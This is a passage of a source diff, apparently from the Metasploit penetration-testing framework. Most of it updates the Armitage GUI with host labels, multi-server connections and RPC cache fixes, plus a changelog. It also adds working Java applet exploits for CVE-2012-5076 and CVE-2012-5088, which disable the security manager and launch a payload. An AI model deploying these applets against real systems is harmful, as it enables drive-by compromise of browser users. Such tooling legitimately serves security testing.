host is something we care about too */ if (oFilter != null && entry.containsKey("os_name")) { - if (!checkOS(entry.get("os_name") + "")) + if (!checkOS(entry.get("os_name") + "")) { i.remove(); + continue; + } + } + + /* make sure the host has the right label */ + if (lFilter != null && entry.containsKey("address")) { + if (!checkLabel(entry.get("address") + "")) { + i.remove(); + continue; + } + } + else if (lFilter != null && entry.containsKey("host")) { + if (!checkLabel(entry.get("host") + "")) { + i.remove(); + continue; + } } } @@ -180,6 +280,7 @@ else if (rFilter != null && entry.containsKey("host")) { public void connect(String dbstring, String user, String password) throws Exception { db = DriverManager.getConnection(dbstring, user, password); setWorkspace("default"); + loadLabels(); } public Object execute(String methodName) throws IOException { @@ -192,8 +293,8 @@ protected Map build() { /* this is an optimization. If we have a network or OS filter, we need to pull back all host/service records and filter them here. If we do not have these types of filters, then we can let the database do the heavy lifting and limit the size of the final result there. */ - int limit1 = rFilter == null && oFilter == null ? maxhosts : 30000; - int limit2 = rFilter == null && oFilter == null ? maxservices : 100000; + int limit1 = rFilter == null && oFilter == null && lFilter == null ? maxhosts : 30000; + int limit2 = rFilter == null && oFilter == null && lFilter == null ? maxservices : 100000; temp.put("db.creds", "SELECT DISTINCT creds.*, hosts.address as host, services.name as sname, services.port as port, services.proto as proto FROM creds, services, hosts WHERE services.id = creds.service_id AND hosts.id = services.host_id AND hosts.workspace_id = " + workspaceid); @@ -209,13 +310,13 @@ protected Map build() { if (hFilter.indexOf("sessions.") >= 0) tables.add("sessions"); - temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex)); + temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex)); } else { - temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1)); + temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1)); } - temp.put("db.services", "SELECT DISTINCT services.*, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex)); + temp.put("db.services", "SELECT DISTINCT services.id, services.name, services.port, services.proto, services.info, services.updated_at, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex)); temp.put("db.loots", "SELECT DISTINCT loots.*, hosts.address as host FROM loots, hosts WHERE hosts.id = loots.host_id AND hosts.workspace_id = " + workspaceid); temp.put("db.workspaces", "SELECT DISTINCT * FROM workspaces"); temp.put("db.notes", "SELECT DISTINCT notes.*, hosts.address as host FROM notes, hosts WHERE hosts.id = notes.host_id AND hosts.workspace_id = " + workspaceid); @@ -235,7 +336,7 @@ public Object execute(String methodName, Object[] params) throws IOException { result.put(methodName.substring(3), filterByRoute(executeQuery(query), maxservices)); } else if (methodName.equals("db.hosts")) { - result.put(methodName.substring(3), filterByRoute(executeQuery(query), maxhosts)); + result.put(methodName.substring(3), addLabels(filterByRoute(executeQuery(query), maxhosts))); } else { result.put(methodName.substring(3), executeQuery(query)); @@ -311,6 +412,10 @@ else if (methodName.equals("db.clear_cache")) { return new HashMap(); } else if (methodName.equals("db.clear")) { + /* clear our local cache of labels */ + labels = new HashMap(); + + /* clear the database */ executeUpdate( "BEGIN;" + "DELETE FROM hosts;" + @@ -332,6 +437,7 @@ else if (methodName.equals("db.filter")) { rFilter = null; oFilter = null; + lFilter = null; List hosts = new LinkedList(); List srvcs = new LinkedList(); @@ -385,6 +491,11 @@ else if (methodName.equals("db.filter")) { oFilter = (values.get("os") + "").toLowerCase().split(",\\s*"); } + /* label filter */ + if (values.containsKey("labels") && (values.get("labels") + "").length() > 0) { + lFilter = (values.get("labels") + "").toLowerCase().split(",\\s*"); + } + if (hosts.size() == 0) { hFilter = null; } @@ -406,6 +517,31 @@ else if (methodName.equals("db.fix_creds")) { result.put("rows", new Integer(stmt.executeUpdate())); return result; } + else if (methodName.equals("db.report_labels")) { + /* merge out global label data */ + Map values = (Map)params[0]; + mergeLabels(values); + + /* delete our saved label data */ + executeUpdate("DELETE FROM notes WHERE notes.ntype = 'armitage.labels'"); + + /* serialize our notes data */ + ByteArrayOutputStream store = new ByteArrayOutputStream(labels.size() * 128); + ObjectOutputStream handle = new ObjectOutputStream(store); + handle.writeObject(labels); + handle.close(); + store.close(); + + String data = Base64.encode(store.toByteArray()); + + /* save our label data */ + PreparedStatement stmt = null; + stmt = db.prepareStatement("INSERT INTO notes (ntype, data) VALUES ('armitage.labels', ?)"); + stmt.setString(1, data); + stmt.executeUpdate(); + + return new HashMap(); + } else if (methodName.equals("db.report_host")) { Map values = (Map)params[0]; String host = values.get("host") + ""; diff --git a/external/source/armitage/src/msf/RpcAsync.java b/external/source/armitage/src/msf/RpcAsync.java index c7663ddbcd66..fe0daf7a4e1f 100644 --- a/external/source/armitage/src/msf/RpcAsync.java +++ b/external/source/armitage/src/msf/RpcAsync.java @@ -32,7 +32,7 @@ public Object execute(String methodName, Object[] params) throws IOException { if (methodName.equals("module.info") || methodName.equals("module.options") || methodName.equals("module.compatible_payloads")) { StringBuilder keysb = new StringBuilder(methodName); - for(int i = 1; i < params.length; i++) + for(int i = 0; i < params.length; i++) keysb.append(params[i].toString()); String key = keysb.toString(); diff --git a/external/source/armitage/src/msf/RpcCacheImpl.java b/external/source/armitage/src/msf/RpcCacheImpl.java index c28e037e91b2..4a1d7e85cb3f 100644 --- a/external/source/armitage/src/msf/RpcCacheImpl.java +++ b/external/source/armitage/src/msf/RpcCacheImpl.java @@ -106,6 +106,8 @@ private static String cacheKey(String method, Object[] args) { key.append(temp.get("ports")); key.append(";"); key.append(temp.get("session")); + key.append(";"); + key.append(temp.get("labels")); return key.toString(); } diff --git a/external/source/armitage/src/msf/RpcConnectionImpl.java b/external/source/armitage/src/msf/RpcConnectionImpl.java index f7ba43d048db..d784ab17b781 100644 --- a/external/source/armitage/src/msf/RpcConnectionImpl.java +++ b/external/source/armitage/src/msf/RpcConnectionImpl.java @@ -84,12 +84,40 @@ public Object execute(String methodName) throws IOException { } protected HashMap locks = new HashMap(); + protected String address = ""; + + public String getLocalAddress() { + return address; + } /** Adds token, runs command, and notifies logger on call and return */ public Object execute(String methodName, Object[] params) throws IOException { if (database != null && "db.".equals(methodName.substring(0, 3))) { return database.execute(methodName, params); } + else if (methodName.equals("armitage.ping")) { + try { + long time = System.currentTimeMillis() - Long.parseLong(params[0] + ""); + + HashMap res = new HashMap(); + res.put("result", time + ""); + return res; + } + catch (Exception ex) { + HashMap res = new HashMap(); + res.put("result", "0"); + return res; + } + } + else if (methodName.equals("armitage.my_ip")) { + HashMap res = new HashMap(); + res.put("result", address); + return res; + } + else if (methodName.equals("armitage.set_ip")) { + address = params[0] + ""; + return new HashMap(); + } else if (methodName.equals("armitage.lock")) { if (locks.containsKey(params[0] + "")) { Map res = new HashMap(); diff --git a/external/source/armitage/src/msf/RpcQueue.java b/external/source/armitage/src/msf/RpcQueue.java index ba657c26716b..b56d2a2135a1 100644 --- a/external/source/armitage/src/msf/RpcQueue.java +++ b/external/source/armitage/src/msf/RpcQueue.java @@ -66,7 +66,7 @@ public void run() { Thread.sleep(50); } else { - Thread.sleep(500); + Thread.sleep(200); } } } diff --git a/external/source/armitage/src/table/NetworkTable.java b/external/source/armitage/src/table/NetworkTable.java index 014fed3a101e..c89bd97dbb87 100644 --- a/external/source/armitage/src/table/NetworkTable.java +++ b/external/source/armitage/src/table/NetworkTable.java @@ -1,11 +1,11 @@ package table; -import javax.swing.*; -import javax.swing.event.*; +import javax.swing.*; +import javax.swing.event.*; import javax.swing.border.*; import javax.swing.table.*; -import java.awt.*; +import java.awt.*; import java.awt.event.*; import java.awt.image.*; @@ -52,7 +52,7 @@ public NetworkTable() { public NetworkTable(Properties display) { this.display = display; - model = new GenericTableModel(new String[] { " ", "Address", "Description", "Pivot" }, "Address", 256); + model = new GenericTableModel(new String[] { " ", "Address", "Label", "Description", "Pivot" }, "Address", 256); table = new ATable(model); TableRowSorter sorter = new TableRowSorter(model); sorter.toggleSortOrder(1); @@ -79,23 +79,24 @@ public boolean equals(Object a, Object b) { }; sorter.setComparator(1, hostCompare); - sorter.setComparator(3, hostCompare); + sorter.setComparator(4, hostCompare); table.setRowSorter(sorter); table.setColumnSelectionAllowed(false); table.getColumn("Address").setPreferredWidth(125); + table.getColumn("Label").setPreferredWidth(125); table.getColumn("Pivot").setPreferredWidth(125); table.getColumn(" ").setPreferredWidth(32); table.getColumn(" ").setMaxWidth(32); table.getColumn("Description").setPreferredWidth(500); final TableCellRenderer parent = table.getDefaultRenderer(Object.class); - table.setDefaultRenderer(Object.class, new TableCellRenderer() { + final TableCellRenderer phear = new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) { JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col); - if (col == 3 && Boolean.TRUE.equals(model.getValueAt(table, row, "Active"))) { + if (col == 4 && Boolean.TRUE.equals(model.getValueAt(table, row, "Active"))) { component.setFont(component.getFont().deriveFont(Font.BOLD)); } else if (col == 1 && !"".equals(model.getValueAt(table, row, "Description"))) { @@ -110,9 +111,15 @@ else if (col == 1 && !"".equals(model.getValueAt(table, row, "Description"))) { if (tip.length() > 0) { component.setToolTipText(tip); } + return component; } - }); + }; + + table.getColumn("Address").setCellRenderer(phear); + table.getColumn("Label").setCellRenderer(phear); + table.getColumn("Description").setCellRenderer(phear); + table.getColumn("Pivot").setCellRenderer(phear); table.getColumn(" ").setCellRenderer(new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) { @@ -252,16 +259,17 @@ public void setAutoLayout(String layout) { public void addActionForKeySetting(String key, String dvalue, Action action) { } - public Object addNode(String id, String label, Image image, String tooltip) { + public Object addNode(String id, String label, String description, Image image, String tooltip) { if (id == null || label == null) return null; HashMap map = new HashMap(); map.put("Address", id); - if (label.indexOf(id) > -1) - label = label.substring(id.length()); - map.put("Description", label); + if (description.indexOf(id) > -1) + description = description.substring(id.length()); + map.put("Label", label); + map.put("Description", description); map.put("Tooltip", tooltip); map.put("Image", image); map.put(" ", tooltip); diff --git a/external/source/armitage/src/ui/ATable.java b/external/source/armitage/src/ui/ATable.java index bc1569659cb7..ce80216dbd8d 100644 --- a/external/source/armitage/src/ui/ATable.java +++ b/external/source/armitage/src/ui/ATable.java @@ -26,6 +26,12 @@ public static TableCellRenderer getDefaultTableRenderer(final JTable table, fina specialitems.add("WORDLIST"); specialitems.add("SESSION"); specialitems.add("REXE"); + specialitems.add("EXE::Custom"); + specialitems.add("EXE::Template"); + specialitems.add("USERNAME"); + specialitems.add("PASSWORD"); + specialitems.add("SMBUser"); + specialitems.add("SMBPass"); return new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { diff --git a/external/source/armitage/src/ui/MultiFrame.java b/external/source/armitage/src/ui/MultiFrame.java new file mode 100644 index 000000000000..96bea014f1d7 --- /dev/null +++ b/external/source/armitage/src/ui/MultiFrame.java @@ -0,0 +1,238 @@ +package ui; + +import javax.swing.*; +import javax.swing.event.*; + +import java.awt.*; +import java.awt.event.*; + +import java.util.*; + +import armitage.ArmitageApplication; +import msf.*; + +/* A class to host multiple Armitage instances in one frame. Srsly */ +public class MultiFrame extends JFrame implements KeyEventDispatcher { + protected JToolBar toolbar; + protected JPanel content; + protected CardLayout cards; + protected LinkedList buttons; + + private static class ArmitageInstance { + public ArmitageApplication app; + public JToggleButton button; + public RpcConnection client; + } + + public Map getClients() { + synchronized (buttons) { + Map r = new HashMap(); + + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + r.put(temp.button.getText(), temp.client); + } + return r; + } + } + + public void setTitle(ArmitageApplication app, String title) { + if (active == app) + setTitle(title); + } + + protected ArmitageApplication active; + + /* is localhost running? */ + public boolean checkLocal() { + synchronized (buttons) { + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + if ("localhost".equals(temp.button.getText())) { + return true; + } + } + return false; + } + } + + public boolean dispatchKeyEvent(KeyEvent ev) { + if (active != null) { + return active.getBindings().dispatchKeyEvent(ev); + } + return false; + } + + public static final void setupLookAndFeel() { + try { + for (UIManager.LookAndFeelInfo info : UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } + catch (Exception e) { + } + } + + public void closeConnect() { + synchronized (buttons) { + if (buttons.size() == 0) { + System.exit(0); + } + } + } + + public void quit() { + synchronized (buttons) { + ArmitageInstance temp = null; + content.remove(active); + Iterator i = buttons.iterator(); + while (i.hasNext()) { + temp = (ArmitageInstance)i.next(); + if (temp.app == active) { + toolbar.remove(temp.button); + i.remove(); + break; + } + } + + if (buttons.size() == 0) { + System.exit(0); + } + else if (buttons.size() == 1) { + remove(toolbar); + validate(); + } + + if (i.hasNext()) { + temp = (ArmitageInstance)i.next(); + } + else { + temp = (ArmitageInstance)buttons.getFirst(); + } + + set(temp.button); + } + } + + public MultiFrame() { + super(""); + + setLayout(new BorderLayout()); + + /* setup our toolbar */ + toolbar = new JToolBar(); + + /* content area */ + content = new JPanel(); + cards = new CardLayout(); + content.setLayout(cards); + + /* setup our stuff */ + add(content, BorderLayout.CENTER); + + /* buttons?!? :) */ + buttons = new LinkedList(); + + /* do this ... */ + setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + + /* some basic setup */ + setSize(800, 600); + setExtendedState(JFrame.MAXIMIZED_BOTH); + + /* all your keyboard shortcuts are belong to me */ + KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(this); + } + + protected void set(JToggleButton button) { + synchronized (buttons) { + /* set all buttons to the right state */ + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + if (temp.button.getText().equals(button.getText())) { + temp.button.setSelected(true); + active = temp.app; + setTitle(active.getTitle()); + } + else { + temp.button.setSelected(false); + } + } + + /* show our cards? */ + cards.show(content, button.getText()); + active.touch(); + } + } + + public void addButton(String title, final ArmitageApplication component, RpcConnection conn) { + synchronized (buttons) { + final ArmitageInstance a = new ArmitageInstance(); + a.button = new JToggleButton(title); + a.button.setToolTipText(title); + a.app = component; + a.client = conn; + + a.button.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent ev) { + set((JToggleButton)ev.getSource()); + } + }); + + a.button.addMouseListener(new MouseAdapter() { + public void check(MouseEvent ev) { + if (ev.isPopupTrigger()) { + final JToggleButton source = a.button; + JPopupMenu popup = new JPopupMenu(); + JMenuItem rename = new JMenuItem("Rename"); + rename.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent ev) { + String name = JOptionPane.showInputDialog("Rename to?", source.getText()); + if (name != null) { + content.remove(component); + content.add(component, name); + source.setText(name); + set(source); + } + } + }); + popup.add(rename); + popup.show((JComponent)ev.getSource(), ev.getX(), ev.getY()); + ev.consume(); + } + } + + public void mouseClicked(MouseEvent ev) { + check(ev); + } + + public void mousePressed(MouseEvent ev) { + check(ev); + } + + public void mouseReleased(MouseEvent ev) { + check(ev); + } + }); + + toolbar.add(a.button); + content.add(component, title); + buttons.add(a); + set(a.button); + + if (buttons.size() == 1) { + show(); + } + else if (buttons.size() == 2) { + add(toolbar, BorderLayout.SOUTH); + } + validate(); + } + } +} diff --git a/external/source/armitage/src/ui/ZoomableImage.java b/external/source/armitage/src/ui/ZoomableImage.java index 346438e15e2f..466f2c56d397 100644 --- a/external/source/armitage/src/ui/ZoomableImage.java +++ b/external/source/armitage/src/ui/ZoomableImage.java @@ -54,6 +54,8 @@ public void mouseReleased(MouseEvent ev) { check(ev); } }); + + setHorizontalAlignment(SwingConstants.CENTER); } protected void updateIcon() { diff --git a/external/source/armitage/whatsnew.txt b/external/source/armitage/whatsnew.txt index 5ea39884dd68..55804871ffbd 100644 --- a/external/source/armitage/whatsnew.txt +++ b/external/source/armitage/whatsnew.txt @@ -1,6 +1,55 @@ Armitage Changelog ================== +12 Feb 13 (tested against msf 16438) +--------- +- Fixed a corner case preventing the display of removed host labels + when connected to a team server. +- Fixed RPC call cache corruption in team server mode. This bug could + lead to some exploits defaulting to a shell payload when meterpreter + was a possibility. +- Slight optimization to some DB queries. I no longer pull unused + fields making the query marginally faster. Team server is more + efficient too as changes to unused fields won't force data (re)sync. +- Hosts -> Clear Database now clears host labels too. +- Added the ability to manage multiple team server instances through + Armitage. Go to Armitage -> New Connection to connect to another + server. A button bar will appear that allows you to switch active + Armitage connections. + - Credentials available across instances are pooled when using + the [host] -> Login menu and the credential helper. +- Rewrote the event log management code in the team server +- Added nickname tab completion to event log. I feel like I'm writing + an IRC client again. +- Hosts -> Clear Database now asks you to confirm the action. +- Hosts -> Import Hosts announces successful import to event log again. + +23 Jan 13 (tested against msf 16351) +--------- +- Added helpers to set EXE::Custom and EXE::Template options. +- Fixed a bug displaying a Windows 8 icon for Windows 2008 hosts +- Cleaned up Armitage -> SOCKS Proxy job management code. The code to + check if a proxy server is up was deadlock prone. Removed it. +- Starting SOCKS Proxy module now opens a tab displaying the module + start process. An event is posted to the event log too. +- Created an option helper to select credentials for SMBUser, SMBPass, + USERNAME, and PASSWORD. +- Added a feature to label hosts. A label will show up in its own column + in table view or below all info in graph view. Any team member may + change a label through [host] -> host -> Set Label. You may also use + dynamic workspaces to show hosts with certain labels attached. +- Fixed bad things happening when connecting Armitage to 'localhost' and + not '127.0.0.1'. +- Screenshots and Webcam shots are now centered in their tab. +- Added an alternate .bat file to start msfrpcd on Windows in the + Metasploit 4.5 installer's environment. +- Added a color-style for [!] warning messages + +Cortana Updates (for scripters) +-------- +- &handler function now works as advertised. +- Cortana now avoids use of core.setg + 4 Jan 13 (tested against msf 16252) -------- - Added a helper to set REXE option diff --git a/external/source/exploits/cve-2012-5076_2/B.java b/external/source/exploits/cve-2012-5076_2/B.java new file mode 100755 index 000000000000..fec276706019 --- /dev/null +++ b/external/source/exploits/cve-2012-5076_2/B.java @@ -0,0 +1,19 @@ +import java.security.AccessController; +import java.security.PrivilegedExceptionAction; + +public class B + implements PrivilegedExceptionAction +{ + public B() + { + try + { + AccessController.doPrivileged(this); } catch (Exception e) { + } + } + + public Object run() { + System.setSecurityManager(null); + return new Object(); + } +} diff --git a/external/source/exploits/cve-2012-5076_2/Exploit.java b/external/source/exploits/cve-2012-5076_2/Exploit.java new file mode 100755 index 000000000000..78292012fb3a --- /dev/null +++ b/external/source/exploits/cve-2012-5076_2/Exploit.java @@ -0,0 +1,78 @@ +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import metasploit.Payload; +//import java.lang.Runtime; +import java.applet.Applet; +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles; +import java.lang.invoke.MethodType; +import java.lang.reflect.Method; +import com.sun.org.glassfish.external.statistics.impl.*; + +public class Exploit extends Applet +{ + public static MethodHandles.Lookup test0; + + public Exploit() + { + } + + + public void init() + { + try + { + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + byte[] buffer = new byte[8192]; + int length; + + // read in the class file from the jar + InputStream is = getClass().getResourceAsStream("B.class"); + // and write it out to the byte array stream + while( ( length = is.read( buffer ) ) > 0 ) + bos.write( buffer, 0, length ); + // convert it to a simple byte array + buffer = bos.toByteArray(); + + Class c = Class.forName("java.lang.invoke.MethodHandles"); + Method m = c.getMethod("lookup", new Class[0]); + AverageRangeStatisticImpl Avrg = new AverageRangeStatisticImpl(0,0,0,"","","",0,0); + MethodHandles.Lookup test = (MethodHandles.Lookup)Avrg.invoke(null, m, new Object[0]); + + MethodType localMethodType0 = MethodType.methodType(Class.class, String.class); + MethodHandle localMethodHandle0 = test.findStatic(Class.class, "forName", localMethodType0); + Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" }); + Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" }); + + // Instance of sun.org.mozilla.javascript.internal.Context + MethodType localMethodType1 = MethodType.methodType(Void.TYPE); + MethodHandle localMethodHandle1 = test.findConstructor(localClass1, localMethodType1); + Object localObject1 = localMethodHandle1.invokeWithArguments(new Object[0]); + + // Context.createClassLoader + MethodType localMethodType2 = MethodType.methodType(localClass2, ClassLoader.class); + MethodHandle localMethodHandle2 = test.findVirtual(localClass1, "createClassLoader", localMethodType2); + Object localObject2 = localMethodHandle2.invokeWithArguments(new Object[] { localObject1, null }); + + // GeneratedClassLoader.defineClass + MethodType localMethodType3 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); + MethodHandle localMethodHandle3 = test.findVirtual(localClass2, "defineClass", localMethodType3); + Class localClass3 = (Class)localMethodHandle3.invokeWithArguments(new Object[] { localObject2, null, buffer }); + + //New instance of the helper Class + localClass3.newInstance(); + + Payload.main(null); + //Runtime.getRuntime().exec("calc.exe"); + } + catch(Throwable ex) + { + //ex.printStackTrace(); + } + } + +} diff --git a/external/source/exploits/cve-2012-5076_2/Makefile b/external/source/exploits/cve-2012-5076_2/Makefile new file mode 100755 index 000000000000..1a84229b80a7 --- /dev/null +++ b/external/source/exploits/cve-2012-5076_2/Makefile @@ -0,0 +1,18 @@ +# rt.jar must be in the classpath! + +CLASSES = \ + Exploit.java \ + B.java + +.SUFFIXES: .java .class +.java.class: + javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java + +all: $(CLASSES:.java=.class) + +install: + mv Exploit.class ../../../../data/exploits/cve-2012-5076_2/ + mv B.class ../../../../data/exploits/cve-2012-5076_2/ + +clean: + rm -rf *.class diff --git a/external/source/exploits/cve-2012-5088/B.java b/external/source/exploits/cve-2012-5088/B.java new file mode 100755 index 000000000000..fec276706019 --- /dev/null +++ b/external/source/exploits/cve-2012-5088/B.java @@ -0,0 +1,19 @@ +import java.security.AccessController; +import java.security.PrivilegedExceptionAction; + +public class B + implements PrivilegedExceptionAction +{ + public B() + { + try + { + AccessController.doPrivileged(this); } catch (Exception e) { + } + } + + public Object run() { + System.setSecurityManager(null); + return new Object(); + } +} diff --git a/external/source/exploits/cve-2012-5088/Exploit.java b/external/source/exploits/cve-2012-5088/Exploit.java new file mode 100755 index 000000000000..4ad3005ad9bf --- /dev/null +++ b/external/source/exploits/cve-2012-5088/Exploit.java @@ -0,0 +1,66 @@ +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import metasploit.Payload; +//import java.lang.Runtime; +import java.applet.Applet; +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles; +import java.lang.invoke.MethodType; +import java.lang.reflect.Method; + +public class Exploit extends Applet +{ + + public Exploit() + { + } + + public void init() + { + try + { + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + byte[] buffer = new byte[8192]; + int length; + + // read in the class file from the jar + InputStream is = getClass().getResourceAsStream("B.class"); + // and write it out to the byte array stream + while( ( length = is.read( buffer ) ) > 0 ) + bos.write( buffer, 0, length ); + // convert it to a simple byte array + buffer = bos.toByteArray(); + + MethodHandles.Lookup localLookup = MethodHandles.publicLookup(); + MethodType localMethodType0 = MethodType.methodType(Class.class, String.class); + MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0); + Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" }); + Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" }); + MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class }); + MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1); + MethodType localMethodType2 = MethodType.methodType(Void.TYPE); + MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 }); + Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]); + MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class }); + MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3); + MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class); + MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 }); + Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null }); + MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); + MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 }); + Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer }); + localClass3.newInstance(); + Payload.main(null); + //Runtime.getRuntime().exec("calc.exe"); + } + catch(Throwable ex) + { + //ex.printStackTrace(); + } + } + +} diff --git a/external/source/exploits/cve-2012-5088/Makefile b/external/source/exploits/cve-2012-5088/Makefile new file mode 100755 index 000000000000..226cdcd65c90 --- /dev/null +++ b/external/source/exploits/cve-2012-5088/Makefile @@ -0,0 +1,16 @@ +CLASSES = \ + Exploit.java \ + B.java + +.SUFFIXES: .java .class +.java.class: + javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java + +all: $(CLASSES:.java=.class) + +install: + mv Exploit.class ../../../../data/exploits/cve-2012-5088/ + mv B.class ../../../../data/exploits/cve-2012-5088/ + +clean: + rm -rf *.class diff --git a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java index b1b7d2c2ac0f..8b754c1871e3 100644 --- a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java +++ b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java @@ -260,7 +260,8 @@ protected RpcConnection doInBackground() throws Exception { // Don't fork cause we'll check if it dies String rpcType = "Basic"; java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{ - "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"})); + "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1", + "-p",Integer.toString(defaultPort)})); if(!defaultSsl) args.add("-S"); if(disableDb) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index b91b7536f12d..48428b720c40 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -250,7 +250,9 @@ def process_vulnerability( element, proof, opts = {} ) if !(payload = opts[:payload]) if payloads - payload = payloads.select{ |p| element.altered_value.include?( p ) }.first + payload = payloads.select { |p| + element.altered_value.include?( p ) + }.sort_by { |p| p.size }.last end end diff --git a/lib/msf/core/auxiliary/web/analysis/differential.rb b/lib/msf/core/auxiliary/web/analysis/differential.rb index 7ba764ed5c17..0d53c1236bc9 100644 --- a/lib/msf/core/auxiliary/web/analysis/differential.rb +++ b/lib/msf/core/auxiliary/web/analysis/differential.rb @@ -101,7 +101,7 @@ def differential_analysis( opts = {}, &block ) # save the response and some data for analysis responses[:good][elem.altered] << { 'res' => res, - 'elem' => elem + 'elem' => elem.dup } end end @@ -122,8 +122,7 @@ def differential_analysis( opts = {}, &block ) http.if_not_custom_404( action, res['res'].body ) do # if this isn't a custom 404 page then it means that # the element is vulnerable, so go ahead and log the issue - fuzzer.process_vulnerability( res['elem'], 'Manipulatable responses.', - :payload => res['elem'].altered_value ) + fuzzer.process_vulnerability( res['elem'], 'Boolean manipulation.' ) end end end diff --git a/lib/msf/core/auxiliary/web/analysis/timing.rb b/lib/msf/core/auxiliary/web/analysis/timing.rb index 9d6b3e564745..32608cf07745 100644 --- a/lib/msf/core/auxiliary/web/analysis/timing.rb +++ b/lib/msf/core/auxiliary/web/analysis/timing.rb @@ -54,7 +54,8 @@ def timeout_analysis( opts = {} ) timeout = opts[:delay] seed = p.altered_value.dup - payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }.first + payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }. + sort_by { |p2| p2.size }.last # 1st pass, make sure the webapp is responsive if_responsive do diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index a26111355676..a7c8fc86e38c 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -120,10 +120,15 @@ def run tl = [] 